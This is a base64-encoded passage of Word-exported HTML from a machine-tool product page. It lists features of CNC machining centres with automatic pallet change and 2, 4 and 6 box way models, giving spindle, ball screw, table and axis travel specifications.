J3NhbnMtc2VyaWYnIj48Rk9OVCBzaXplPTM+TW9kZWwgSVY6IFggYXhpcyB0cmF2ZWw6IDE0MDAg bW08bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9IMz4NCjxIMyBzdHlsZT0iQkFDS0dST1VORDog d2hpdGU7IE1BUkdJTjogYXV0byAwY207IExJTkUtSEVJR0hUOiAxOHB0Ij48VT48U1BBTiBsYW5n PUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE0cHQ7IEZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3Nh bnMtc2VyaWYnOyBDT0xPUjogcmVkIj5GRUFUVVJFUzxTUEFOIHN0eWxlPSJtc28tYmlkaS1mb250 LXdlaWdodDogYm9sZCI+IGZvciBBUEMgU2VyaWVzIChBdXRvbWF0aWMgUGFsbGV0IENoYW5nZSk6 PG86cD48L286cD48L1NQQU4+PC9TUEFOPjwvVT48L0gzPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFn cmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVm dDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFu Zz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2Fs aWJyaT5JOiBUaGUgbWFjaGluZSBpcyBlcXVpcHBlZCB3aXRoIGFuIGF1dG9tYXRpYyBwYWxsZXQg Y2hhbmdlIGNvbWJpbmVkPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFz cz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1w YXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9y bWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+ PEZPTlQgZmFjZT1DYWxpYnJpPndpdGggb2lsIHN1cHBseSB0byBqaWcgYW5kIGZpeHR1cmUgZm9y IHVwZ3JhZGUgbWFjaGluZSBmdW5jdGlvbi48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwv UD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQg MThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQt d2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6 ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+SUk6IFRoZSBhdXRvbWF0aWMgcGFsbGV0IGNo YW5nZSBhbGxvd3MgZm9yIGZsZXhpYmxlIGF1dG9tYXRpb24gYW5kIGludGVyZmFjZSwgdXBncmFk aW5nIHByb2R1Y3Rpdml0eSwgcmVkdWNpbmcgcHJvZHVjdGlvbiBjb3N0cy48bzpwPjwvbzpwPjwv Rk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1B UkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5 bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9 Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+SUlJOiBIaWdo IHNwZWVkIGFuZCBwcmVjaXNpb24gYmFsbCBzY3Jldy48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+ PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBj bSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRp LWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZv bnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+SVY6IEhpZ2ggcmlnaWRpdHkgc3Bp bmRsZS48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQ YXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2lu LWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFO IGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNl PUNhbGlicmk+VjogU3RhYmlsaXR5IEFUQyBzeXN0ZW0uIChBdXRvIHRvb2wgY2hhbmdlKTxvOnA+ PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFwaCBz dHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDogMGdk Ij48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1V UyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT5W STogVGhlIEJUNDAgU3BpbmRsZSBjb3VsZCBwcm92aWRlIDE1MDAwIHJwbSAob3B0LikgaGlnaCBz cGVlZCB0aGF0IG1lZXRzIGhpZ2ggc3BlZWQgbWFjaGluaW5nIHJlcXVpcmVtZW50LjxvOnA+PC9v OnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsg TUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4tVVMgc3R5 bGU9IkZPTlQtRkFNSUxZOiAnQ2FsaWJyaScsJ3NhbnMtc2VyaWYnIj48bzpwPjxGT05UIHNpemU9 Mz4mbmJzcDs8L0ZPTlQ+PC9vOnA+PC9TUEFOPjwvSDM+DQo8SDMgc3R5bGU9IkJBQ0tHUk9VTkQ6 IHdoaXRlOyBNQVJHSU46IGF1dG8gMGNtOyBMSU5FLUhFSUdIVDogMThwdDsgVEVYVC1JTkRFTlQ6 IDc4cHQ7IG1zby1jaGFyLWluZGVudC1jb3VudDogNi41Ij48U1BBTiBsYW5nPUVOLVVTIHN0eWxl PSJGT05ULUZBTUlMWTogJ0NhbGlicmknLCdzYW5zLXNlcmlmJyI+PG86cD48Rk9OVCBzaXplPTM+ Jm5ic3A7PC9GT05UPjwvbzpwPjwvU1BBTj48L0gzPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3 aGl0ZTsgTUFSR0lOOiBhdXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxTUEFOIGxhbmc9RU4t VVMgc3R5bGU9IkZPTlQtU0laRTogMTRwdDsgRk9OVC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1z ZXJpZic7IEJBQ0tHUk9VTkQ6IHllbGxvdzsgQ09MT1I6IHJlZDsgbXNvLWhpZ2hsaWdodDogeWVs bG93Ij5COiBCT1ggV0FZLS0tWCB0cmF2ZWwgZnJvbSA2NjB+MjUwMCBtbTwvU1BBTj48U1BBTiBs YW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE0cHQ7IEZPTlQtRkFNSUxZOiAnQ2FsaWJyaScs J3NhbnMtc2VyaWYnOyBDT0xPUjogcmVkIj48bzpwPjwvbzpwPjwvU1BBTj48L0gzPg0KPFAgY2xh c3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0Ij48VT48U1BBTiBsYW5nPUVO LVVTIHN0eWxlPSJGT05ULVNJWkU6IDE0cHQ7IENPTE9SOiByZWQiPjxTVFJPTkc+PEZPTlQgZmFj ZT1DYWxpYnJpPk1vZGVsIDE6IDIgQm94IFdheTogRWNvbm9taWMgPG86cD48L286cD48L0ZPTlQ+ PC9TVFJPTkc+PC9TUEFOPjwvVT48L1A+DQo8UCBjbGFzcz1Nc29Ob3JtYWwgc3R5bGU9Ik1BUkdJ TjogMGNtIDBjbSAwcHQiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48 VT48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZP TlQgZmFjZT1DYWxpYnJpPkZlYXR1cmVzOjxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L1U+PC9C PjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAw cHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZv bnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQt c2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+STogRmluaXRlIGVsZW1lbnQgYW5hbHlz aXM8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJh Z3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxl ZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxh bmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNh bGlicmk+SUk6IFRoZSBleHRyYS13aWRlIGFuZCBleHRyZW1lbHkgc3RhYmxlIGJhc2UgaGFzIDIg Qm94IHdheXMgcHJvdmlkaW5nIHNvbGlkIHN1cHBvcnQgZm9yIHRoZSBlbnRpcmUgbWFjaGluZS4g PG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdy YXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0 OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5n PUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxp YnJpPklJSTogSGlnaCBzcGVlZCBhbmQgcHJlY2lzaW9uIGJhbGwgc2NyZXcuPG86cD48L286cD48 L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJN QVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0 eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxl PSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPklWOiBIaWdo IHJpZ2lkaXR5IHNwaW5kbGUuPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBj bGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1z by1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDog bm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBw dCI+PEZPTlQgZmFjZT1DYWxpYnJpPlY6IFJ1Z2dlZCBiYXNlIGFuZCBzYWRkbGUuPG86cD48L286 cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxl PSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxC IHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0 eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPlZJSTog U3RhYmlsaXR5IEFUQyBzeXN0ZW0uIChBdXRvIHRvb2wgY2hhbmdlKTxvOnA+PC9vOnA+PC9GT05U PjwvU1BBTj48L0I+PC9QPg0KPEgzIHN0eWxlPSJCQUNLR1JPVU5EOiB3aGl0ZTsgTUFSR0lOOiBh dXRvIDBjbTsgTElORS1IRUlHSFQ6IDE4cHQiPjxVPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9IkZP TlQtU0laRTogMTRwdDsgRk9OVC1GQU1JTFk6ICdDYWxpYnJpJywnc2Fucy1zZXJpZic7IENPTE9S OiByZWQiPk1PREVMIDI6IDQgQm94IHdheSBIZWF2eSBEdXR5PG86cD48L286cD48L1NQQU4+PC9V PjwvSDM+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20g MHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1m b250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJGT05ULVNJWkU6IDE0 cHQiPjxGT05UIGZhY2U9Q2FsaWJyaT5GRUFUVVJFUy0tLTxvOnA+PC9vOnA+PC9GT05UPjwvU1BB Tj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20g MGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJp ZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGkt Zm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT5JOiBGaW5pdGUgZWxlbWVudCBh bmFseXNpczxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlz dFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJn aW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQ QU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZh Y2U9Q2FsaWJyaT5JaTogVGhlIGV4dHJhLXdpZGUgYW5kIGV4dHJlbWVseSBzdGFibGUgYmFzZSBo YXMgNCBCb3ggd2F5cyBwcm92aWRpbmcgc29saWQgc3VwcG9ydCBmb3IgdGhlIGVudGlyZSBtYWNo aW5lLiA8bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQ YXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2lu LWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFO IGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNl PUNhbGlicmk+SUlJOiBYLCB5IGF4aXMgd2l0aCA0IGFuZCA2IGJsb2NrcyBvbiBCb3ggR3VpZGV3 YXkgKDg1MC8xMDAwKS4gPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFz cz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1w YXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9y bWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+ PEZPTlQgZmFjZT1DYWxpYnJpPklWOiBYLCBZIGF4aXMgd2l0aCA2IGFuZCA4IGJsb2NrcyBvbiBC b3ggR3VpZGV3YXkgKDE0MDAvMTYwMC8xODAwKS48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9C PjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAw cHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZv bnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQt c2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+VjogSGlnaCBzcGVlZCBhbmQgcHJlY2lz aW9uIGJhbGwgc2NyZXcuPG86cD48L286cD48L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFz cz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1w YXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9y bWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+ PEZPTlQgZmFjZT1DYWxpYnJpPlZJOiBIaWdoIHJpZ2lkaXR5IHNwaW5kbGUuPG86cD48L286cD48 L0ZPTlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJN QVJHSU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0 eWxlPSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxl PSJtc28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPlZJSTogUnVn Z2VkIGJhc2UgYW5kIHNhZGRsZS48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQ IGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsg bXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0 OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIu MHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+VklJSTogQ2hpcCBmbHVzaGluZyBkZXZpY2VzIG9uIGJv dGggc2lkZXMgd2l0aCBzY3JldyBjaGlwIGNvbnZleW9yLjxvOnA+PC9vOnA+PC9GT05UPjwvU1BB Tj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20g MGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJp ZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGkt Zm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT4oMTQwMC8xNjAwLzE4MDApLjxv OnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFw aCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDog MGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1F Ti1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxvOnA+PEZPTlQgZmFjZT1D YWxpYnJpPiZuYnNwOzwvRk9OVD48L286cD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb05v cm1hbCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCI+PFU+PFNQQU4gbGFuZz1FTi1VUyBzdHls ZT0iRk9OVC1TSVpFOiAxNHB0OyBDT0xPUjogcmVkIj48Rk9OVCBmYWNlPUNhbGlicmk+TW9kZWwg Mzo8QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+IDYgQm94IHdheSBFeHRy YSBIZWF2eSBEdXR5PG86cD48L286cD48L0I+PC9GT05UPjwvU1BBTj48L1U+PC9QPg0KPFAgY2xh c3M9TXNvTm9ybWFsIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0OyBURVhULUlOREVOVDogMTJw dDsgbXNvLWNoYXItaW5kZW50LWNvdW50OiAxLjAiPjxGT05UIGZhY2U9Q2FsaWJyaT48QiBzdHls ZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0i bXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxTUEFOIHN0eWxlPSJtc28tc3BhY2VydW46IHll cyI+Jm5ic3A7PC9TUEFOPkZlYXR1cmVzOjwvU1BBTj48L0I+PFNQQU4gbGFuZz1FTi1VUyBzdHls ZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxvOnA+PC9vOnA+PC9TUEFOPjwvRk9OVD48 L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJHSU46IDBjbSAwY20gMHB0 IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxlPSJtc28tYmlkaS1mb250 LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJtc28tYmlkaS1mb250LXNp emU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPkk6IEV4dHJhIGhlYXZ5IHdpZGUgNiBCb3gg d2F5IGJhc2U6IDkgdG9ucyB3ZWlnaHQgYmFzZSBwcm92aWRpbmcgdGhlPG86cD48L286cD48L0ZP TlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJH SU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxl PSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJt c28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPmJlc3Qgc3RhYmls aXR5IGZvciBoZWF2eSB3b3JrIHBpZWNlIGFuZCBlbGltaW5hdGUgb3ZlcmhhbmcgcHJvYmxlbXMg eWVhciBhZnRlciB5ZWFyLjxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xh c3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28t cGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5v cm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQi PjxGT05UIGZhY2U9Q2FsaWJyaT5JSTogVGhlIGdlYXIgdHlwZSBzcGluZGxlIGlzIHRyYW5zbWl0 dGVkIGJ5IGEgZ2VhciBib3ggd2l0aCBoaWdoL2xvdyBzcGVlZCBjaGFuZ2UsIHByb3ZpZGluZyBt b3JlIHRvcnF1ZSBvdXRwdXQgZm9yIGhlYXZ5IGR1dHkgbWFjaGluaW5nLjxvOnA+PC9vOnA+PC9G T05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFncmFwaCBzdHlsZT0iTUFS R0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVmdDogMGdkIj48QiBzdHls ZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFuZz1FTi1VUyBzdHlsZT0i bXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2FsaWJyaT5JSUk6IEJpZyB0 YWJsZSBzdXJmYWNlIG1lYXN1cmVzIDI0MDAoTCkgeDEwMDAoVykgbW06IG1heGltdW0gbG9hZGlu ZzxvOnA+PC9vOnA+PC9GT05UPjwvU1BBTj48L0I+PC9QPg0KPFAgY2xhc3M9TXNvTGlzdFBhcmFn cmFwaCBzdHlsZT0iTUFSR0lOOiAwY20gMGNtIDBwdCAxOHB0OyBtc28tcGFyYS1tYXJnaW4tbGVm dDogMGdkIj48QiBzdHlsZT0ibXNvLWJpZGktZm9udC13ZWlnaHQ6IG5vcm1hbCI+PFNQQU4gbGFu Zz1FTi1VUyBzdHlsZT0ibXNvLWJpZGktZm9udC1zaXplOiAxMi4wcHQiPjxGT05UIGZhY2U9Q2Fs aWJyaT4zNTAwIGtncyB0aGF0IHByb3ZpZGluZyBsYXJnZSBtb2xkIG1hY2hpbmluZy48bzpwPjwv bzpwPjwvRk9OVD48L1NQQU4+PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5 bGU9Ik1BUkdJTjogMGNtIDBjbSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+ PEIgc3R5bGU9Im1zby1iaWRpLWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMg c3R5bGU9Im1zby1iaWRpLWZvbnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+SVY6 IEV4dHJhIGxhcmdlIFktYXhpcyAoMTEwMG1tKSBhbmQgdGhyb2F0IGRlcHRoKDEwNTBtbSkgcHJv dmlkZSBpbmNyZWFzZWQgd29ya2luZyBjYXBhY2l0eS48bzpwPjwvbzpwPjwvRk9OVD48L1NQQU4+ PC9CPjwvUD4NCjxQIGNsYXNzPU1zb0xpc3RQYXJhZ3JhcGggc3R5bGU9Ik1BUkdJTjogMGNtIDBj bSAwcHQgMThwdDsgbXNvLXBhcmEtbWFyZ2luLWxlZnQ6IDBnZCI+PEIgc3R5bGU9Im1zby1iaWRp LWZvbnQtd2VpZ2h0OiBub3JtYWwiPjxTUEFOIGxhbmc9RU4tVVMgc3R5bGU9Im1zby1iaWRpLWZv bnQtc2l6ZTogMTIuMHB0Ij48Rk9OVCBmYWNlPUNhbGlicmk+VjogVHdvIHNjcmV3IGNoaXAgc3lz dGVtcyBhcmUgYXQgdGhlIGJvdGggc2lkZXMgb2YgdGhlIG1hY2hpbmUuPG86cD48L286cD48L0ZP TlQ+PC9TUEFOPjwvQj48L1A+DQo8UCBjbGFzcz1Nc29MaXN0UGFyYWdyYXBoIHN0eWxlPSJNQVJH SU46IDBjbSAwY20gMHB0IDE4cHQ7IG1zby1wYXJhLW1hcmdpbi1sZWZ0OiAwZ2QiPjxCIHN0eWxl PSJtc28tYmlkaS1mb250LXdlaWdodDogbm9ybWFsIj48U1BBTiBsYW5nPUVOLVVTIHN0eWxlPSJt c28tYmlkaS1mb250LXNpemU6IDEyLjBwdCI+PEZPTlQgZmFjZT1DYWxpYnJpPkNvbWJpbmUgd2l0 